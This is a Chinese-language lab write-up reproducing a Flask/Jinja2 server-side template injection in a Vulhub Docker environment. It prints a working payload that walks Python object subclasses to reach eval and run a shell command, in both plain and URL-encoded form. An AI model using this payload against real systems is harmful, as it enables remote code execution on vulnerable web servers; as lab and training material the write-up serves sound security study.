vulhub漏洞复现十五_flask

前言

Flask是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2 。Flask使用 BSD 授权。

Flask也被称为 “microframework” ,因为它使用简单的核心,用 extension 增加其他功能。Flask没有默认使用的数据库、窗体验证工具。

一、 Flask(Jinja2) 服务端模板注入漏洞

测试靶场

192.168.4.10_ubuntu

测试搭建

```

docker-compose build

docker-compose up -d

```

漏洞利用

访问`http://your-ip:8000/?name={{233*233}}`,得到54289,说明SSTI漏洞存在。

vulhub漏洞复现十五_flask

 

获取eval函数并执行任意python代码的POC:

```

{% for c in [].__class__.__base__.__subclasses__() %}

{% if c.__name__ == 'catch_warnings' %}

  {% for b in c.__init__.__globals__.values() %}

  {% if b.__class__ == {}.__class__ %}

    {% if 'eval' in b.keys() %}

      {{ b['eval']('__import__("os").popen("id").read()') }}

    {% endif %}

  {% endif %}

  {% endfor %}

{% endif %}

{% endfor %}

```

访问`http://your-ip:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D`,

得到执行结果:

vulhub漏洞复现十五_flask

 

上一篇:1015 德才论 (25 分)


下一篇:什么是MVVM?